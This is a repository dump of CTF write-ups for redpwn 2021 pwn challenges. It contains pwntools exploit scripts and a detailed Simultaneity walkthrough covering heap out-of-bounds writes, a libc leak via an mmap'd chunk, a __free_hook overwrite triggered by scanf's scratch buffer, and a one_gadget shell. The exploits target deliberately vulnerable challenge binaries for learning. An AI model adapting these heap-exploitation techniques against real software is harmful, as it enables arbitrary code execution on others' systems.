p.sendlineafter("do you want to invert the colors?", "y") 50 | 51 | # Should increase this if you need more reliability 52 | time.sleep(0.05) 53 | retval = p.poll() 54 | 55 | # If the process hangs instead of exiting, we may have overwrote something in a good way ;) (shells hang) 56 | if (retval == None): 57 | 58 | print("Returned: " + str(retval)) 59 | print(str(i) + " In: " + str(hex(i))) 60 | print("!!!!!!!!!!!!!!!!") 61 | intrigue.append(i) 62 | 63 | p.close() 64 | 65 | if __name__ == "__main__": 66 | main() -------------------------------------------------------------------------------- /redpwn 2021/Image-identifier/sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | ##Gdb + config stuff 4 | script = ''' 5 | b *main+160 6 | b *pngHeadValidate 7 | b *update_crc 8 | b *update_crc+98 9 | b *pngChunkValidate+27 10 | b *pngChunkValidate+160 11 | b *pngHeadValidate+244 12 | b *main+449 13 | continue 14 | ''' 15 | 16 | ## Making the image meta-stuff 17 | # Size of image, but also size of the allocation. This will give us 0x41 regardless tho lel. 18 | img_sz = 0x29 19 | # For passing the first check 20 | pngHead = 0x0a1a0a0d474e5089 21 | # We need this @ index 29 // 0x1d. Since the value at image_alloc+0xc is always the same, we can just see what value it spits out of update_crc 22 | # then input that value as our checksum. This will pass the check every time. 23 | checksum = 0x5ab9bc8a 24 | 25 | ## Lets make our png. 26 | # Just some stuff to pass initial checks 27 | png = p64(pngHead) + b"\r" * (7) 28 | # Padding until the 29th // 0x1d byte (start of checksum) 29 | png += b"A"*( 0x1d - len(png) ) 30 | # This value will be returned from update_crc if you provided 31 | png += p32(checksum) 32 | # Counter for update_crc will be '\x27', this is enough to write out of our chunk up until the pngFooterValidate function pointer, at which point 33 | # we write 2 bytes extracted from the return of crc_update. 34 | png += b"\x00"*3 + b"\x27" 35 | # Bruteforced value - ensures that crc_update returns the correct value, such that the last 2 bytes are set to 0x1818 that then is written 36 | # at the end of the pngFooterValidate function pointer in the adjacent allocation. This function pointer is then called == shell, because these 37 | # are the bottom 2 bytes of win(). 38 | png += p32(0xb18) 39 | # Padding so we send the correct num of bytes 40 | png += b"\x00" * (img_sz - len(png)) 41 | 42 | # Just making sure we still good. 43 | print(len(png)) 44 | 45 | def main(): 46 | # Connect/start proc 47 | 48 | p = process("./chal") 49 | #p = remote("mc.ax", 31412) 50 | #gdb.attach(p, script) 51 | 52 | print(p.sendlineafter("How large is your file?\n\n", str(img_sz))) 53 | 54 | print(p.sendafter("please send your image here:\n\n", png)) 55 | 56 | # This will trigger the code that allows a 2-byte oob write into the function ptrs. Specifically the 57 | # last 2 bytes of crc_update() ret get written onto the heap, making it one of the only (semi) user controlled 58 | # values that can be written our of bounds like this. 59 | print(p.sendlineafter("do you want to invert the colors?", "y")) 60 | 61 | p.interactive() 62 | 63 | if __name__ == "__main__": 64 | main() -------------------------------------------------------------------------------- /redpwn 2021/Simultaneity/README.md: -------------------------------------------------------------------------------- 1 | # Intro 2 | This years redpwn started on the 9th of july, and ran through from 8PM BST till 8PM on the 12th. This was really fun, and I really praise the organisers for creating the superb 3 | infrastructure and challenges that allowed me (and my [team-mates](https://ctftime.org/team/157675) or [here](https://ctftime.org/team/120331)) to toil away on these challenges. Cheers guys :). 4 | 5 | This will be the first of (probably) a series of writeups for challenges in the pwn category of redpwnCTF 2021, disregarding the challenges I didn't solve. 6 | 7 | ## Description 8 | 9 | ![image](https://user-images.githubusercontent.com/73792438/125520811-639fe7e9-d1bd-4897-93f3-a7670b54f4f8.png) 10 | 11 | This challenge specifically was extremely difficult (for me). The vulnerability as you will see is very obvious. However exploitation is another matter that 12 | requires knowledge of some heap internals, and alot of guesswork on my part. With that out of the way, lets begin. 13 | 14 | (The solution script is at the bottom as well as in the github folder, I forgot that in my last writeup.) 15 | 16 | # Setup 17 | 18 | So whats up? 19 | 20 | Well first things first, were provided with a libc and a linker. If we want to correctly emulate the challenge environment, we need to patch these into the program. You can 21 | do that like so: 22 | 23 | ```sh 24 | patchelf ./simultaneity --set-interpreter ./ld-linux-x86-64.so.2 --replace-needed libc.so.6 ./libc.so.6 --output simultaneity1 25 | ``` 26 | Now you should have `simultaneity1` which has the correct libc + linker. Something else to note is that the libc is stripped. There are quite a few ways to 'unstrip' a libc but 27 | I chose to download the debug symbols and simply use them with my gdb. To do this you can download the debug symbols that match the libc (you can get version info from a libc 28 | by running it), then extract them in the current 29 | directory: 30 | 31 | ```sh 32 | wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc6-dbg_2.28-10_amd64.deb 33 | mkdir dbg; dpkg -x libc6-dbg_2.28-10_amd64.deb ./dbg/ 34 | ``` 35 | Now whenever you want to use these symbols in gdb, simply type: `set debug-file-directory dbg/usr/lib/debug/` and you should (fingers crossed) have working symbols. 36 | Now we should be all set to take a look at the binary. 37 | 38 | # The program 39 | 40 | Its pretty simple: 41 | 42 | ![1](https://user-images.githubusercontent.com/73792438/125348293-f066ed00-e353-11eb-835e-65cd30359f54.PNG) 43 | 44 | The program asks `how big?` and we can provide a size, it then spits out what looks like a `main_arena` heap address (from a heap that is aligned with the data segment). It then 45 | asks `how far?` and `what?`. It seems that the program is straight up giving us a thinly veiled write-what-where primitive, nice. 46 | 47 | If we look at the decompiled code for `main()` we can confirm this: 48 | 49 | ![image](https://user-images.githubusercontent.com/73792438/125348373-0aa0cb00-e354-11eb-89cc-5d2b3830c34f.png) 50 | 51 | (ignore my mutterings at the bottom lol) 52 | The program takes a `size` which is then passed to `malloc(size)` so we can control the size of an allocation. Then the program leaks the address of said allocation back to 53 | us. We can then specify another `size`/index that will then be multiplied by 8, then it will be added to the address of our allocation `(long)alloc + size * 8)`. We then use 54 | the result of this addition and write into it an `unsigned int`/`size_t`. 55 | 56 | Another cool thing about this (other than being given an extremely powerful exploit primitive) is that because the `how far?` part of the program takes a regular integer 57 | via `__isoc99_scanf("%ld", &size)` we can have a negative `size`/index. This, in turn means that we can not only write anywhere after our allocation, but also before. 58 | 59 | # Approaches 60 | 61 | Now i'll talk about the approach I tried initially. My first thought was, could we overwrite some interesting stuff on the heap? Maybe one of functions left something there? 62 | However further inspection on the heap revealed that its just a barren wasteland. 63 | 64 | ``` 65 | pwndbg> heap 66 | Allocated chunk | PREV_INUSE 67 | Addr: 0x55555555a000 68 | Size: 0x251 <------------------+ 69 | | 70 | Allocated chunk | PREV_INUSE +------------ Metadata :yawn: 71 | Addr: 0x55555555a250 72 | Size: 0x411 <------------------ scanf()'s allocation to store our input in full 73 | 74 | Allocated chunk | PREV_INUSE +------------ Our allocation 75 | Addr: 0x55555555a660 | 76 | Size: 0x21 <-------------------+ 77 | 78 | Top chunk | PREV_INUSE 79 | Addr: 0x55555555a680 80 | Size: 0x20981 81 | 82 | ``` 83 | 84 | Nothing interesting here, and nothing that could be easily exploited; i thought perhaps through some manipulation of the `top` we could allocate a chunk, perhaps with `scanf` 85 | (yes, `scanf` does this) somewhere it isn't meant to be? As it turns out, `scanf` will allocate the temporary buffer before it recieves our input+writes it, so sadly there is 86 | no meddling we can do here, as no further allocations are made/free'd. Although under certain circumstances `scanf()` will `free()` the temporary buffer, so perhaps some 87 | opportunity exists there? I didn't think about this too much, though. 88 | 89 | I was quickly drawn to another idea. Whats in the `.bss` atm? 90 | 91 | ![image](https://user-images.githubusercontent.com/73792438/125352528-4b4f1300-e359-11eb-9d8d-581a4a75cda4.png) 92 | 93 | Not much, as you can see (and definitely nothing useful). My idea here was to overwrite some stuff and see what happened, did changing any of this stuff have any impact? 94 | Sadly no. I was quite confident that modifying the `stdout@GLIBC` would have some effect, as the `FILE` struct is pretty complicated. But it was to no avail. 95 | 96 | So we have a seemingly hopeless situation where we have very little, if any opportunity to overwrite anything; we have a (basically useless) `.text`/heap leak and no (reliable) 97 | way to overwrite anything meaningful. 98 | 99 | It was at this point where I became stuck for quite a while, and moved on to `image-identifier`. Only after finishing that and coming back did I realise what I had missed, on 100 | the last day of the CTF. 101 | 102 | # Gaining a (rather strong) foothold 103 | 104 | ![image](https://user-images.githubusercontent.com/73792438/125354078-468b5e80-e35b-11eb-9eba-c21095da46e7.png) 105 | 106 | I highlighted the important part. I neglected to fully consider the ability we have when controlling the size of an allocation. If we wanted, we could make `malloc()` fail and 107 | return a null pointer, but more importantly if an allocation is larger than the `top` chunk (aka, does not fit in the current heap) `malloc()` will use `mmap()` to allocate 108 | some memory that fits the size of said allocation (if it can provide enough memory, that is). 109 | 110 | If we, for example allocate a chunk that is 1 larger that `top` (0x209a1+1) then we should be able to force `malloc()` to make our heap elsewhere. And sure enough: 111 | 112 | ![image](https://user-images.githubusercontent.com/73792438/125355878-6cb1fe00-e35d-11eb-8713-56e09c21ca91.png) 113 | 114 | Yep, the entire allocation has moved elsewhere. But where exactly? 115 | 116 | ![image](https://user-images.githubusercontent.com/73792438/125355554-1644bf80-e35d-11eb-815f-2b095fd3f45e.png) 117 | 118 | Our allocation is between the main heap and libc (`0x7ffff7deb000-0x7ffff7e0c000`). The most important aspect of this is that there is no flux/influence of ASLR between our heap 119 | and all of libc. This means: 120 | 121 | - Since our heap is at a constant offset from libc, so is our leaked allocation address. We now have an easy way to get the base, and therefore the rest of libc. 122 | - As stated in the above, our allocation is at a constant offset from libc, this means that we may use our primitive to write INTO libc, anywhere we want. 123 | 124 | Now that we have easy access to libc, we need a place to write. I tried a couple things here; none of which worked, however overwriting `__free_hook` did. 125 | 126 | `__free_hook` is a global function pointer in libc that when NULL does nothing however when populated with any values, upon `free()` it will detect that the pointer is not 127 | NULL and instead jump to it. This makes it ideal, as `free()`, and therefore `__free_hook` are used alot more than you would expect, and so there are alot of opportunities for 128 | RCE with this value. Hooks like this also exist for `malloc()` and `realloc()` functions, making it an extremely easy way to execute a one-gadget in a pinch. 129 | 130 | We can work out the difference of `__free_hook` from our allocation, then divide that by 8, ensuring that when it eventually gets multiplied by 8 in our 131 | `scanf("%zu",(void *)((long)alloc + size * 8)))` we still come out with the same value: 132 | 133 | ![image](https://user-images.githubusercontent.com/73792438/125357942-3629b280-e360-11eb-88c3-1abc4c729304.png) 134 | 135 | We can then do a test run in gdb to make sure we are in fact writing to the correct location 136 | 137 | ![image](https://user-images.githubusercontent.com/73792438/125358108-68d3ab00-e360-11eb-88bb-badc3cfdbbcb.png) 138 | 139 | And sure enough, yes. 140 | 141 | ![image](https://user-images.githubusercontent.com/73792438/125358179-7f7a0200-e360-11eb-865f-bcc35d4836cc.png) 142 | 143 | We can see that we do write to `__free_hook`. However on entering a random value you'll notice that we do not SEGFAULT before the `_exit()` 144 | 145 | ![image](https://user-images.githubusercontent.com/73792438/125358554-f44d3c00-e360-11eb-91f0-1ebd8d089d9f.png) 146 | 147 | This can mean only one thing; our input is never allocated / is never `free()`'d 148 | 149 | # Some scanf stuff 150 | 151 | Since `scanf()` takes no `length` field, for all user input, even the stuff it doesnt care about (wrong format, wrong type, etc...) it has to take + store somehow. To do this 152 | it uses a 'scratch'-buffer. This is a buffer that will store ALL the input from `scanf()`. This starts as a stack buffer, however will fallback to being a heap buffer if this 153 | stack buffer threatens to overflow: 154 | 155 | ```c 156 | /* Scratch buffers with a default stack allocation and fallback to 157 | heap allocation. [---snipped---] 158 | ``` 159 | [here](https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/include/scratch_buffer.h#L22) 160 | 161 | This heap buffer is re-used whenever another call to `scanf()` comes via rewinding the buffer position back to the start, such that the space can be re-used: 162 | 163 | ```c 164 | /* Reinitializes BUFFER->current and BUFFER->end to cover the entire 165 | scratch buffer. */ 166 | static inline void 167 | char_buffer_rewind (struct char_buffer *buffer) 168 | { 169 | buffer->current = char_buffer_start (buffer); 170 | buffer->end = buffer->current + buffer->scratch.length / sizeof (CHAR_T); 171 | } 172 | ``` 173 | [here](https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/stdio-common/vfscanf.c#L216) and [here](https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/stdio-common/vfscanf.c#L483) 174 | 175 | Whenever we want to add to this buffer, we need to call `char_buffer_add()`. This does a couple things. 1st it checks if we currently positioned at the end of our buffer, and 176 | if so it will take a 'slow' path. Otherwise it just adds a single character to the scratch buffer and moves on: 177 | 178 | ```c 179 | static inline void 180 | char_buffer_add (struct char_buffer *buffer, CHAR_T ch) 181 | { 182 | if (__glibc_unlikely (buffer->current == buffer->end)) 183 | char_buffer_add_slow (buffer, ch); 184 | else 185 | *buffer->current++ = ch; 186 | } 187 | ``` 188 | [here](https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/stdio-common/vfscanf.c#L256) 189 | 190 | As you would expect, the slow path is for when we run out of space in our stack buffer, (or our heap buffer) and will move our input in its entirety to the heap when the 191 | conditions are right 192 | 193 | ```c 194 | /* Slow path for char_buffer_add. */ 195 | static void 196 | char_buffer_add_slow (struct char_buffer *buffer, CHAR_T ch) 197 | { 198 | if (char_buffer_error (buffer)) 199 | return; 200 | size_t offset = buffer->end - (CHAR_T *) buffer->scratch.data; 201 | if (!scratch_buffer_grow_preserve (&buffer->scratch)) // <--------- important part is here 202 | { 203 | buffer->current = NULL; 204 | buffer->end = NULL; 205 | return; 206 | } 207 | char_buffer_rewind (buffer); 208 | buffer->current += offset; 209 | *buffer->current++ = ch; 210 | } 211 | ``` 212 | 213 | If we delve a bit deeper we can actually find where exactly this allocation happens: 214 | 215 | ```c 216 | bool 217 | __libc_scratch_buffer_grow_preserve (struct scratch_buffer *buffer) 218 | { 219 | size_t new_length = 2 * buffer->length; 220 | void *new_ptr; 221 | 222 | if (buffer->data == buffer->__space.__c) // If we are currently using the __space.__c buffer (stack buffer). This is the default for all inputs, initially. 223 | { 224 | /* Move buffer to the heap. No overflow is possible because 225 | buffer->length describes a small buffer on the stack. */ 226 | new_ptr = malloc (new_length); 227 | if (new_ptr == NULL) 228 | return false; 229 | memcpy (new_ptr, buffer->__space.__c, buffer->length); // heres the 'move' 230 | // [---snipped---] 231 | /* Install new heap-based buffer. */ 232 | buffer->data = new_ptr; 233 | buffer->length = new_length; 234 | return true; 235 | ``` 236 | 237 | `buffer->data` is where we write into the scratch buffer - at least the origin, anyway. 238 | 239 | From this we can understand that if we provide enough input - enough that we can progress the `buffer->current` to the `buffer->end` of the current buffer , we can 240 | trigger a new allocation with `malloc()`. This has some caveats though; if `scanf()` expects a number (like with our `__isoc99_scanf("%zu...`) it will only progress the 241 | `buffer->current` if it recieves a digit. You can read the source here [here](https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/stdio-common/vfscanf.c#L1396). 242 | 243 | One thing I want to draw your attention to though, is this: 244 | 245 | ```c 246 | while (1) 247 | { 248 | // [---snipped---] 249 | if (ISDIGIT (c)) 250 | { 251 | char_buffer_add (&charbuf, c); 252 | got_digit = 1; 253 | } 254 | // [---snipped---] 255 | ``` 256 | 257 | What we have here, is what I assume to be the loop that goes through the values of each number, after the format string has been interpreted (but you can never be sure with libc 258 | code). As you can see, if our character is a digit, we add it to the buffer. Cool. 259 | 260 | Now armed with this (somewhat useless) knowledge, we can go back and try writing to `__free_hook` again, but this time with at least 1024 bytes of digits in our buffer 261 | in order to allocate a chunk that will be free'd on exiting `scanf()` (via `scratch_buffer_free()`) And sure enough if we spam '0's, we can call `free()` on our allocation and thus trigger 262 | `__free_hook`: 263 | 264 | ![image](https://user-images.githubusercontent.com/73792438/125519774-a9246a30-4760-4c5f-8cfa-7482964f23be.png) 265 | 266 | Now when we test in gdb: 267 | 268 | ![image](https://user-images.githubusercontent.com/73792438/125519937-eb6b539a-c8f9-4c18-acc3-2ae774ccb9d6.png) 269 | 270 | Boom. 271 | 272 | Its worth noting that using any digit other than '0' will (stating the obvious a bit here) cause the value to wrap around and become `0xffffffffffffffff`. But leading 273 | with '0's ensures that the value written is not changed (I got confused with this for a while lol). 274 | 275 | # Exploitation 276 | 277 | Now that we have an RIP overwrite with a value we completely control AND a libc leak, the next logical step was finding an applicable `one_gadget` we can use. Running 278 | `one_gadget` on our libc provides 3 results. The one that works is: 279 | 280 | ``` 281 | 0x448a3 execve("/bin/sh", rsp+0x30, environ) 282 | constraints: 283 | [rsp+0x30] == NULL 284 | ``` 285 | 286 | Now with that out of the way, things should be pretty EZ. Exploit is in the folder. 287 | HTP. 288 | 289 | -------------------------------------------------------------------------------- /redpwn 2021/Simultaneity/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/redpwn 2021/Simultaneity/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /redpwn 2021/Simultaneity/simultaneity: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/redpwn 2021/Simultaneity/simultaneity -------------------------------------------------------------------------------- /redpwn 2021/Simultaneity/simultaneity1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/redpwn 2021/Simultaneity/simultaneity1 -------------------------------------------------------------------------------- /redpwn 2021/Simultaneity/sol_2.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | libc = ELF("./libc.so.6") 4 | 5 | # gdbscript to mess with if you wanna. 6 | script = ''' 7 | b *main+84 8 | b *main+160 9 | command 10 | b *__libc_scratch_buffer_grow_preserve+27 11 | b *malloc 12 | b *char_buffer_add 13 | b *free 14 | b *_IO_vfscanf+788 15 | b *_IO_vfscanf+963 16 | end 17 | b *main+211 18 | continue 19 | ''' 20 | 21 | # Top+1 ensures that we get a heap alligned with libc (mmapped) 22 | chunk_sz = 0x209a1+1 23 | # How far is libc from our leaked chunk address? 24 | libc_from_chunk = 0x20ff0 25 | 26 | # Notes from the past: Our input has to contain only digits if we want it to trigger a malloc, then a free(). 27 | # Inputs that contain letters wont work because the scanf in the program expects an unsigned int. It also has to be pretty big 28 | # (dont know how big, exactly, but 2000 leading 0's seems to be enough to trigger a free() on the buffer, and thus jump into our 29 | # overwritten __free_hook). 30 | 31 | def main(): 32 | p = remote("mc.ax", 31547) 33 | #p = process("./simultaneity1") 34 | #gdb.attach(p, script) 35 | 36 | p.sendlineafter("how big?\n", str(chunk_sz)) 37 | 38 | print(p.recvuntil("you are here: ")) 39 | chunk_leak = p.recv(14).decode() 40 | chunk_leak = int(chunk_leak, 16) 41 | print(f"Got chunk: {hex(chunk_leak)}") 42 | 43 | libc.address = chunk_leak + libc_from_chunk 44 | print(f"Got libc base: {hex(libc.address)}") 45 | 46 | print(p.sendlineafter("how far?\n", str( int((libc.symbols["__free_hook"] - chunk_leak) / 8) ))) 47 | 48 | #0x448a3 execve("/bin/sh", rsp+0x30, environ) 49 | #constraints: 50 | #[rsp+0x30] == NULL 51 | one_gdg = libc.address + 0x448a3 52 | 53 | # 1024/1023 == size of stack-scratch-buffer. Need to provide at least 1 more byte to use a heap allocation. 54 | p.sendlineafter("what?\n", "0"* (1024 - len(str(one_gdg))) + str(one_gdg)) 55 | p.interactive() 56 | 57 | if __name__ == "__main__": 58 | main() 59 | --------------------------------------------------------------------------------